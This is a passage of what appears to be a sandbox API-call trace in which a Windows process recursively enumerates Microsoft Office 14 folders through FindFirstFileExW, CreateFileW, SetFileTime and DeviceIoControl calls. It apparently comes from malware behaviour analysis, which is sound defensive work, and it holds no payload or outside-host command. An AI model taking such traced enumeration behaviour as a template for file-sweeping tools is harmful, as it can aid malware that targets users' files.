Flags=0x0, BaseAddress=0x98c868) returned 1 [0246.859] GetLastError () returned 0x12 [0246.859] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x98c7e0) returned 1 [0246.859] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0246.859] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x98c758) returned 1 [0246.859] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x98c6d0) returned 1 [0246.859] GetLastError () returned 0x12 [0246.859] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9436a8) returned 1 [0246.860] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.860] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943620) returned 1 [0246.860] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943510) returned 1 [0246.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14" (normalized: "c:\\program files\\microsoft office\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0246.860] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0246.860] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0246.860] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9cc120) returned 1 [0246.860] NtClose (Handle=0x1b0) returned 0x0 [0246.860] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943510) returned 1 [0246.860] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd560 [0246.864] GetLastError () returned 0x12 [0246.864] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd520 [0246.864] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0246.865] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0246.865] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cf668, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9cf668, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0246.865] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9cf668) returned 1 [0246.865] NtClose (Handle=0x1b0) returned 0x0 [0246.865] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.865] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0246.870] GetLastError () returned 0x12 [0246.870] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd660 [0246.870] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0246.871] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0246.871] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e2df0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e2df0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0246.871] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9e2df0) returned 1 [0246.871] NtClose (Handle=0x1b0) returned 0x0 [0246.871] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9bd920) returned 1 [0246.871] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0246.871] GetLastError () returned 0x12 [0246.872] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0246.872] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.872] GetLastError () returned 0x12 [0246.872] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db688) returned 1 [0246.872] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.872] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9d8190) returned 1 [0246.872] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9bd920) returned 1 [0246.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0246.873] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0246.873] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e2df0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e2df0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0246.873] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9e2df0) returned 1 [0246.873] NtClose (Handle=0x1b4) returned 0x0 [0246.873] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9bd920) returned 1 [0246.873] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0246.876] GetLastError () returned 0x12 [0246.876] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0246.876] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.876] GetLastError () returned 0x12 [0246.876] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db710) returned 1 [0246.876] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.877] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9d8190) returned 1 [0246.877] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9bd920) returned 1 [0246.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0246.878] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0246.878] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e2df0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e2df0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0246.878] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9e2df0) returned 1 [0246.878] NtClose (Handle=0x1b0) returned 0x0 [0246.878] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9bd920) returned 1 [0246.878] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0246.881] GetLastError () returned 0x12 [0246.881] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0246.881] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0246.882] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0246.882] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0246.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9cc120) returned 1 [0246.882] NtClose (Handle=0x1b0) returned 0x0 [0246.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9d9420) returned 1 [0246.882] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0246.885] GetLastError () returned 0x12 [0246.885] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0246.885] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0246.886] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0246.886] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0246.886] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9cc120) returned 1 [0246.886] NtClose (Handle=0x1b0) returned 0x0 [0246.886] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.887] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0246.887] GetLastError () returned 0x12 [0246.887] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5e0 [0246.887] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.887] GetLastError () returned 0x12 [0246.887] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16012f0) returned 1 [0246.887] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0246.887] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16013f8) returned 1 [0246.887] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0246.888] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0246.888] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0246.888] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9cc120) returned 1 [0246.888] NtClose (Handle=0x1b8) returned 0x0 [0246.888] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.888] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5e0 [0246.888] GetLastError () returned 0x12 [0246.888] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0246.888] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0246.889] GetLastError () returned 0x12 [0246.889] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16013f8) returned 1 [0246.889] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.889] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16012f0) returned 1 [0246.889] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0246.890] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0246.890] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e2df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e2df0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0246.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9e2df0) returned 1 [0246.890] NtClose (Handle=0x1b0) returned 0x0 [0246.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.890] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0246.890] GetLastError () returned 0x12 [0246.890] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5e0 [0246.890] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.890] GetLastError () returned 0x12 [0246.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16012f0) returned 1 [0246.890] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0246.891] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16013f8) returned 1 [0246.891] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0246.891] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0246.892] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e2df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e2df0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0246.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9e2df0) returned 1 [0246.892] NtClose (Handle=0x1b8) returned 0x0 [0246.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.892] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5e0 [0246.892] GetLastError () returned 0x12 [0246.892] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0246.892] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0246.892] GetLastError () returned 0x12 [0246.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16013f8) returned 1 [0246.892] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16012f0) returned 1 [0246.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0246.893] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0246.893] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e2df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e2df0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0246.893] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9e2df0) returned 1 [0246.893] NtClose (Handle=0x1b0) returned 0x0 [0246.893] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.893] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0246.894] GetLastError () returned 0x12 [0246.894] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5e0 [0246.894] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.894] GetLastError () returned 0x12 [0246.894] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16012f0) returned 1 [0246.894] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0246.894] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16013f8) returned 1 [0246.894] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0246.895] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0246.895] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e2df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e2df0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0246.895] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9e2df0) returned 1 [0246.895] NtClose (Handle=0x1b8) returned 0x0 [0246.895] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.895] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5e0 [0246.895] GetLastError () returned 0x12 [0246.895] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0246.895] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0246.896] GetLastError () returned 0x12 [0246.896] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16013f8) returned 1 [0246.896] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.896] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16012f0) returned 1 [0246.896] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0246.897] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0246.897] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e2df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e2df0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0246.897] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9e2df0) returned 1 [0246.897] NtClose (Handle=0x1b0) returned 0x0 [0246.897] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.897] FindFirstFileExW (in: lpFileName="C:\\Program 